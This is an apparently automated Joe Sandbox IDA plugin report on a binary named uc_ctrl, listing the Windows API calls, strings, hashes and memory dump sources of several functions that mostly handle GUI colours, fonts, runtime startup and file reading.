Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID:
String ID: P$fer
API String ID: 0-1002059999
Opcode ID: d4747a243fc1df083f47949f6eba9987fdfe58231b5c1821b9c91872f6362dcf
Instruction ID: 5deb158a99fcbe787ca5d666ff090cfa179438c7cfd88f08e7adc02afd0fe1b0
Opcode Fuzzy Hash: d4747a243fc1df083f47949f6eba9987fdfe58231b5c1821b9c91872f6362dcf
Instruction Fuzzy Hash: 30820874E04259CFCB24CF9AC890BADB7B1FF48309F1481A9D419ABB55D730A981CF59

Function 6C6B03DD Relevance: 77.3, APIs: 43, Strings: 1, Instructions: 297COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C6B03E4
GetSysColor.USER32(00000016), ref: 6C6B03ED
GetSysColor.USER32(0000000F), ref: 6C6B0400
GetSysColor.USER32(00000015), ref: 6C6B0417
GetSysColor.USER32(0000000F), ref: 6C6B0423
GetDeviceCaps.GDI32(?,0000000C), ref: 6C6B044B
GetSysColor.USER32(0000000F), ref: 6C6B0459
GetSysColor.USER32(00000010), ref: 6C6B0467
GetSysColor.USER32(00000015), ref: 6C6B0475
GetSysColor.USER32(00000016), ref: 6C6B0483
GetSysColor.USER32(00000014), ref: 6C6B0491
GetSysColor.USER32(00000012), ref: 6C6B049F
GetSysColor.USER32(00000011), ref: 6C6B04AD
GetSysColor.USER32(00000006), ref: 6C6B04B8
GetSysColor.USER32(0000000D), ref: 6C6B04C3
GetSysColor.USER32(0000000E), ref: 6C6B04CE
GetSysColor.USER32(00000005), ref: 6C6B04D9
GetSysColor.USER32(00000008), ref: 6C6B04E7
GetSysColor.USER32(00000009), ref: 6C6B04F2
GetSysColor.USER32(00000007), ref: 6C6B04FD
GetSysColor.USER32(00000002), ref: 6C6B0508
GetSysColor.USER32(00000003), ref: 6C6B0513
GetSysColor.USER32(0000001B), ref: 6C6B0521
GetSysColor.USER32(0000001C), ref: 6C6B052F
GetSysColor.USER32(0000000A), ref: 6C6B053D
GetSysColor.USER32(0000000B), ref: 6C6B054B
GetSysColor.USER32(00000013), ref: 6C6B0559
GetSysColor.USER32(0000001A), ref: 6C6B057A
GetSysColorBrush.USER32(00000010), ref: 6C6B0593
GetSysColorBrush.USER32(00000014), ref: 6C6B05A7
GetSysColorBrush.USER32(00000005), ref: 6C6B05B6
CreateSolidBrush.GDI32(?), ref: 6C6B05D3
CreateSolidBrush.GDI32(?), ref: 6C6B05F1
CreateSolidBrush.GDI32(?), ref: 6C6B060F
CreateSolidBrush.GDI32(?), ref: 6C6B0630
CreateSolidBrush.GDI32(?), ref: 6C6B064E
CreateSolidBrush.GDI32(?), ref: 6C6B066C
CreateSolidBrush.GDI32(?), ref: 6C6B068A
CreatePen.GDI32(00000000,00000001,00000000), ref: 6C6B06AE
CreatePen.GDI32(00000000,00000001,00000000), ref: 6C6B06D2
CreatePen.GDI32(00000000,00000001,00000000), ref: 6C6B06F6
CreateSolidBrush.GDI32(?), ref: 6C6B077E
CreatePatternBrush.GDI32(00000000), ref: 6C6B07C0

Strings

xa~l, xrefs: 6C6B07A8

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Color$BrushCreate$Solid$CapsDeviceH_prolog3Pattern
String ID: xa~l
API String ID: 3832706086-862097267
Opcode ID: b09e4a97a59899fb82e2cc6203c17feff7eb7e2e3958ee82b33180c659d41d62
Instruction ID: eb0622417f42bafb10f3eef95c554d9e98c28b4540768d1fa7e26270392357d2
Opcode Fuzzy Hash: b09e4a97a59899fb82e2cc6203c17feff7eb7e2e3958ee82b33180c659d41d62
Instruction Fuzzy Hash: F0C17272B01A56AFDF459F70891879CFBB0BF0A705F004129E216D7B90DB38A524CFA9

Function 6C6AFEA4 Relevance: 70.4, APIs: 35, Strings: 5, Instructions: 373stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C6AFEAE

Part of subcall function 6C68512A: __EH_prolog3.LIBCMT ref: 6C685131
Part of subcall function 6C68512A: GetWindowDC.USER32(00000000,00000004,6C6B0443,00000000), ref: 6C68515D

GetDeviceCaps.GDI32(?,00000058), ref: 6C6AFECE
DeleteObject.GDI32(00000000), ref: 6C6AFF38
DeleteObject.GDI32(00000000), ref: 6C6AFF56
DeleteObject.GDI32(00000000), ref: 6C6AFF74
DeleteObject.GDI32(00000000), ref: 6C6AFF92
DeleteObject.GDI32(00000000), ref: 6C6AFFB0
DeleteObject.GDI32(00000000), ref: 6C6AFFCE
DeleteObject.GDI32(00000000), ref: 6C6AFFEC
DeleteObject.GDI32(00000000), ref: 6C6B000A
DeleteObject.GDI32(00000000), ref: 6C6B0028
DeleteObject.GDI32(00000000), ref: 6C6B0046
GetTextCharsetInfo.GDI32(?,00000000,00000000), ref: 6C6B007E
lstrcpyW.KERNEL32(?,?), ref: 6C6B00CE
EnumFontFamiliesW.GDI32(?,00000000,6C6AF840,Segoe UI), ref: 6C6B00F5
lstrcpyW.KERNEL32(?,Segoe UI), ref: 6C6B0108
EnumFontFamiliesW.GDI32(?,00000000,6C6AF840,Tahoma), ref: 6C6B0126
lstrcpyW.KERNEL32(?,MS Sans Serif), ref: 6C6B0140
CreateFontIndirectW.GDI32(?), ref: 6C6B014A
CreateFontIndirectW.GDI32(?), ref: 6C6B019B
CreateFontIndirectW.GDI32(?), ref: 6C6B01DA
CreateFontIndirectW.GDI32(?), ref: 6C6B0206
CreateFontIndirectW.GDI32(?), ref: 6C6B0227
GetSystemMetrics.USER32(00000048), ref: 6C6B0246
lstrcpyW.KERNEL32(?,Marlett), ref: 6C6B0259
CreateFontIndirectW.GDI32(?), ref: 6C6B0263
GetStockObject.GDI32(00000011), ref: 6C6B028F
GetObjectW.GDI32(00000000,0000005C,?), ref: 6C6B02A6
lstrcpyW.KERNEL32(?,Arial), ref: 6C6B02E3
CreateFontIndirectW.GDI32(?), ref: 6C6B02ED
CreateFontIndirectW.GDI32(?), ref: 6C6B0306
GetStockObject.GDI32(00000011), ref: 6C6B031A
GetObjectW.GDI32(?,0000005C,?), ref: 6C6B032F
CreateFontIndirectW.GDI32(?), ref: 6C6B033D
CreateFontIndirectW.GDI32(?), ref: 6C6B035E

Part of subcall function 6C6B07FA: __EH_prolog3_GS.LIBCMT ref: 6C6B0801
Part of subcall function 6C6B07FA: GetTextMetricsW.GDI32(?,?), ref: 6C6B0837
Part of subcall function 6C6B07FA: GetTextMetricsW.GDI32(?,?), ref: 6C6B0878

Part of subcall function 6C67FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6C67FBB9

Strings

Marlett, xrefs: 6C6B0253
Segoe UI, xrefs: 6C6B00E3, 6C6B00FF
Arial, xrefs: 6C6B02D3
MS Sans Serif, xrefs: 6C6B013A
Tahoma, xrefs: 6C6B0114, 6C6B0133

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Object$Font$CreateDeleteIndirect$lstrcpy$MetricsText$EnumFamiliesH_prolog3_Stock$CapsCharsetDeviceException@8H_prolog3InfoSystemThrowWindow
String ID: Arial$MS Sans Serif$Marlett$Segoe UI$Tahoma
API String ID: 3209990573-1395034203
Opcode ID: b0af6196e7576dc5b700a0e5bd3f63740d7f7c61478dc2526bd5ba0864cef564
Instruction ID: 2c081a9cf4f17514ac8f710aec0bc698095081d79cf364a2e768fa28dca5d187
Opcode Fuzzy Hash: b0af6196e7576dc5b700a0e5bd3f63740d7f7c61478dc2526bd5ba0864cef564
Instruction Fuzzy Hash: A3E1A1B1A013489FDF119FB0CD4CBDEBBB8AF0A309F0044A9D55AAB690DB309548CF19

Function 00778832 Relevance: 19.6, APIs: 13, Instructions: 104COMMON

Download Yara Rule

APIs

_initterm_e.API-MS-WIN-CRT-RUNTIME-L1-1-0(0077A674,0077A684,0077C488,00000014), ref: 00778883
_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0(0077A658,0077A670,0077C488,00000014), ref: 007788A9
___scrt_release_startup_lock.LIBCMT ref: 007788C4
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 007788D8
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 007788FE
_register_thread_local_exe_atexit_callback.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,0077C488,00000014), ref: 0077890A
___scrt_get_show_window_mode.LIBCMT ref: 00778910
_get_wide_winmain_command_line.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,0077C488,00000014), ref: 00778919
_cexit.API-MS-WIN-CRT-RUNTIME-L1-1-0(0077C488,00000014), ref: 00778939
___scrt_uninitialize_crt.LIBCMT ref: 00778941
___scrt_fastfail.LIBCMT ref: 00778990
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000007,0077C488,00000014), ref: 00778996
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000007,0077C488,00000014), ref: 0077899E

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: ___scrt_is_nonwritable_in_current_image$___scrt_fastfail___scrt_get_show_window_mode___scrt_release_startup_lock___scrt_uninitialize_crt_cexit_exit_get_wide_winmain_command_line_initterm_initterm_e_register_thread_local_exe_atexit_callbackexit
String ID:
API String ID: 2427040849-0
Opcode ID: e49c4e9e5f2657c11b2640a4e25a3bfc8bd790d936f502a10cc23b0b6c173e4c
Instruction ID: 57ebdebf2c6783cba9eaf4eac924e457173c60c068eca4992531537382514b68
Opcode Fuzzy Hash: e49c4e9e5f2657c11b2640a4e25a3bfc8bd790d936f502a10cc23b0b6c173e4c
Instruction Fuzzy Hash: C331E2716C6202E9EE607774DC0EB7D67656F817E0F68C028F68CA71C3DE2D5901866B

Function 6C67E70A Relevance: 18.1, APIs: 12, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C67E717
GlobalAlloc.KERNEL32(00000002,00000000), ref: 6C67E76F
GlobalHandle.KERNEL32(00000000), ref: 6C67E77A
GlobalUnlock.KERNEL32(00000000), ref: 6C67E783
GlobalReAlloc.KERNEL32(00000000,00000000,00002002), ref: 6C67E79C
GlobalLock.KERNEL32(00000000), ref: 6C67E7B1
LeaveCriticalSection.KERNEL32(?), ref: 6C67E7F8
GlobalHandle.KERNEL32(00000000), ref: 6C67E80A
GlobalLock.KERNEL32(00000000), ref: 6C67E811
LeaveCriticalSection.KERNEL32(?), ref: 6C67E818
EnterCriticalSection.KERNEL32(6C8B72D0,00000000,?,?,6C679F7E,?,?,?,00000000,6C7E3C34,00000000), ref: 6C67E82F
LeaveCriticalSection.KERNEL32(6C8B72D0,?,?,6C679F7E,?,?,?,00000000,6C7E3C34,00000000), ref: 6C67E85B

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Global$CriticalSection$Leave$AllocEnterHandleLock$Unlock
String ID:
API String ID: 2233717024-0
Opcode ID: 7d6f7e306ab4dc629eea2b67770a67e20ace18b94f716e963a0d942d7c2acde3
Instruction ID: ee271dbc5cdc12ac07229cc4f36459a2a3cb0888139c8ad89ceac8b765668168
Opcode Fuzzy Hash: 7d6f7e306ab4dc629eea2b67770a67e20ace18b94f716e963a0d942d7c2acde3
Instruction Fuzzy Hash: 0641E532600705BFC724CF64C888EA5B7B8FF06305B148A69E815C7A50DB75F95ACBE4

Function 6C67F24C Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 147COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,?), ref: 6C67F287
PathFindExtensionW.SHLWAPI(?), ref: 6C67F2A1

Part of subcall function 6C67FBBF: __CxxThrowException@8.LIBVCRUNTIME ref: 6C67FBD3

Strings

4<~l, xrefs: 6C67F365
.CHM, xrefs: 6C67F39B
.INI, xrefs: 6C67F3D6
.HLP, xrefs: 6C67F3A2

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Exception@8ExtensionFileFindModuleNamePathThrow
String ID: .CHM$.HLP$.INI$4<~l
API String ID: 1938139466-2675080192
Opcode ID: 677e51eb13e578acbfbeaa67bdaeabe22774ab7c270160ef1f759783f6e37af9
Instruction ID: ccd9676adbb18c23c60a0c2775027d5c74bfa79758c3228cf13c63a1f065ed21
Opcode Fuzzy Hash: 677e51eb13e578acbfbeaa67bdaeabe22774ab7c270160ef1f759783f6e37af9
Instruction Fuzzy Hash: 6A519AB19013089AEB20CB75C948FDA73ECAF04718F104D6AD695D6E40EB74D688CB7A

Function 6C660BF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 106fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 6C660C33
PathRemoveFileSpecA.SHLWAPI(?), ref: 6C660C40
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 6C660CFE
GetFileSize.KERNEL32(000000FF,00000000), ref: 6C660D1C
ReadFile.KERNEL32(000000FF,?,?,00000000,00000000), ref: 6C660D71

Strings

\SK.txt, xrefs: 6C660C46

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: File$CreateModuleNamePathReadRemoveSizeSpec
String ID: \SK.txt
API String ID: 2445516684-2142966246
Opcode ID: 61d13a8629c6adb96fcc9eaba1747f954706816d9c5a4085da35f4b969af2726
Instruction ID: 8da08efeb8b3e98d34a6928e45c8e2e30c46bf058a4674802738a34ab5c2ca2c
Opcode Fuzzy Hash: 61d13a8629c6adb96fcc9eaba1747f954706816d9c5a4085da35f4b969af2726
Instruction Fuzzy Hash: 8D515870E0426C9FDB29CB24CC45BDDBBB5AB0A314F0482D9E659A7281C7746B88CF94

Function 6C74E9C5 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C74E9CC

Part of subcall function 6C67FAC0: EnterCriticalSection.KERNEL32(6C8B7498,?,?,00000000,?,6C68063F,00000000,?,?,6C65F6D7,6C8B244C), ref: 6C67FAF1
Part of subcall function 6C67FAC0: InitializeCriticalSection.KERNEL32(00000000,?,?,00000000,?,6C68063F,00000000,?,?,6C65F6D7,6C8B244C), ref: 6C67FB07
Part of subcall function 6C67FAC0: LeaveCriticalSection.KERNEL32(6C8B7498,?,?,00000000,?,6C68063F,00000000,?,?,6C65F6D7,6C8B244C), ref: 6C67FB15
Part of subcall function 6C67FAC0: EnterCriticalSection.KERNEL32(00000000,?,00000000,?,6C68063F,00000000,?,?,6C65F6D7,6C8B244C), ref: 6C67FB22

GetProfileIntW.KERNEL32(windows,DragMinDist,00000002), ref: 6C74EA1F
GetProfileIntW.KERNEL32(windows,DragDelay,000000C8), ref: 6C74EA35

Strings

DragMinDist, xrefs: 6C74EA14
DragDelay, xrefs: 6C74EA2A
windows, xrefs: 6C74EA19, 6C74EA1E, 6C74EA2F

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: CriticalSection$EnterProfile$H_prolog3InitializeLeave
String ID: DragDelay$DragMinDist$windows
API String ID: 3965097884-2101198082
Opcode ID: 96d6185540493432f7bee07df06de141e15e8f52e6e388750b9c5607c2e2d44c
Instruction ID: 8bce8fb65fe9ed26e32aec6e3d234708d32356ae44e3db199aa48cc34f6a08e6
Opcode Fuzzy Hash: 96d6185540493432f7bee07df06de141e15e8f52e6e388750b9c5607c2e2d44c
Instruction Fuzzy Hash: F7015EB0A017148FEBA0DF358685B1ABAF0BB09704F445A3EE089D7F80E7709101CF89

Function 6C6AFA50 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000003,00000001,00000003), ref: 6C6AFAAD
VerSetConditionMask.KERNEL32(00000000), ref: 6C6AFAB5
VerifyVersionInfoW.KERNEL32(0000011C,00000003,00000000), ref: 6C6AFAC6
GetSystemMetrics.USER32(00001000), ref: 6C6AFAD7

Part of subcall function 6C6B03DD: __EH_prolog3.LIBCMT ref: 6C6B03E4
Part of subcall function 6C6B03DD: GetSysColor.USER32(00000016), ref: 6C6B03ED
Part of subcall function 6C6B03DD: GetSysColor.USER32(0000000F), ref: 6C6B0400
Part of subcall function 6C6B03DD: GetSysColor.USER32(00000015), ref: 6C6B0417
Part of subcall function 6C6B03DD: GetSysColor.USER32(0000000F), ref: 6C6B0423
Part of subcall function 6C6B03DD: GetDeviceCaps.GDI32(?,0000000C), ref: 6C6B044B
Part of subcall function 6C6B03DD: GetSysColor.USER32(0000000F), ref: 6C6B0459
Part of subcall function 6C6B03DD: GetSysColor.USER32(00000010), ref: 6C6B0467
Part of subcall function 6C6B03DD: GetSysColor.USER32(00000015), ref: 6C6B0475
Part of subcall function 6C6B03DD: GetSysColor.USER32(00000016), ref: 6C6B0483
Part of subcall function 6C6B03DD: GetSysColor.USER32(00000014), ref: 6C6B0491
Part of subcall function 6C6B03DD: GetSysColor.USER32(00000012), ref: 6C6B049F
Part of subcall function 6C6B03DD: GetSysColor.USER32(00000011), ref: 6C6B04AD
Part of subcall function 6C6B03DD: GetSysColor.USER32(00000006), ref: 6C6B04B8
Part of subcall function 6C6B03DD: GetSysColor.USER32(0000000D), ref: 6C6B04C3
Part of subcall function 6C6B03DD: GetSysColor.USER32(0000000E), ref: 6C6B04CE
Part of subcall function 6C6B03DD: GetSysColor.USER32(00000005), ref: 6C6B04D9
Part of subcall function 6C6B03DD: GetSysColor.USER32(00000008), ref: 6C6B04E7
Part of subcall function 6C6B03DD: GetSysColor.USER32(00000009), ref: 6C6B04F2
Part of subcall function 6C6B03DD: GetSysColor.USER32(00000007), ref: 6C6B04FD
Part of subcall function 6C6B03DD: GetSysColor.USER32(00000002), ref: 6C6B0508
Part of subcall function 6C6B03DD: GetSysColor.USER32(00000003), ref: 6C6B0513
Part of subcall function 6C6B03DD: GetSysColor.USER32(0000001B), ref: 6C6B0521
Part of subcall function 6C6B03DD: GetSysColor.USER32(0000001C), ref: 6C6B052F
Part of subcall function 6C6B03DD: GetSysColor.USER32(0000000A), ref: 6C6B053D

Part of subcall function 6C6AFEA4: __EH_prolog3_GS.LIBCMT ref: 6C6AFEAE
Part of subcall function 6C6AFEA4: GetDeviceCaps.GDI32(?,00000058), ref: 6C6AFECE
Part of subcall function 6C6AFEA4: DeleteObject.GDI32(00000000), ref: 6C6AFF38
Part of subcall function 6C6AFEA4: DeleteObject.GDI32(00000000), ref: 6C6AFF56
Part of subcall function 6C6AFEA4: DeleteObject.GDI32(00000000), ref: 6C6AFF74
Part of subcall function 6C6AFEA4: DeleteObject.GDI32(00000000), ref: 6C6AFF92
Part of subcall function 6C6AFEA4: DeleteObject.GDI32(00000000), ref: 6C6AFFB0
Part of subcall function 6C6AFEA4: DeleteObject.GDI32(00000000), ref: 6C6AFFCE
Part of subcall function 6C6AFEA4: DeleteObject.GDI32(00000000), ref: 6C6AFFEC

Part of subcall function 6C6AFB37: GetSystemMetrics.USER32(00000031), ref: 6C6AFB45
Part of subcall function 6C6AFB37: GetSystemMetrics.USER32(00000032), ref: 6C6AFB53
Part of subcall function 6C6AFB37: SetRectEmpty.USER32(?), ref: 6C6AFB66
Part of subcall function 6C6AFB37: EnumDisplayMonitors.USER32(00000000,00000000,6C6AF9CB,?,?,00000000,6C6AFAF8), ref: 6C6AFB76
Part of subcall function 6C6AFB37: SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 6C6AFB85
Part of subcall function 6C6AFB37: SystemParametersInfoW.USER32(00001002,00000000,?,00000000), ref: 6C6AFBB2
Part of subcall function 6C6AFB37: SystemParametersInfoW.USER32(00001012,00000000,?,00000000), ref: 6C6AFBC6
Part of subcall function 6C6AFB37: SystemParametersInfoW.USER32 ref: 6C6AFBEC

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Color$DeleteObjectSystem$Info$Parameters$Metrics$CapsConditionDeviceMask$DisplayEmptyEnumH_prolog3H_prolog3_MonitorsRectVerifyVersion
String ID:
API String ID: 551326122-0
Opcode ID: 06264697fa2e52622dcdbbb51e99f7a0a8f3fb63149cd7b10b36de2a914d5dad
Instruction ID: a66b7b97c1a107436a474187680263d217bb513af79381eed8c7a98615770cb2
Opcode Fuzzy Hash: 06264697fa2e52622dcdbbb51e99f7a0a8f3fb63149cd7b10b36de2a914d5dad
Instruction Fuzzy Hash: CE11C6B1A0031CABDB259F759C49FEBB7BCEB89704F00416DE24997280DBB44E05CB95

Function 6C67F1A9 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

PathFindFileNameW.SHLWAPI(00000000,?,6C67F2CF,?,?), ref: 6C67F1B5
_wcslen.LIBCMT ref: 6C67F1C2
SetErrorMode.KERNEL32(00000000,?,?,6C679F33,?,00000000,6C7E3C34,00000000), ref: 6C67F1F4
SetErrorMode.KERNEL32(00000000,?,?,6C679F33,?,00000000,6C7E3C34,00000000), ref: 6C67F200

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
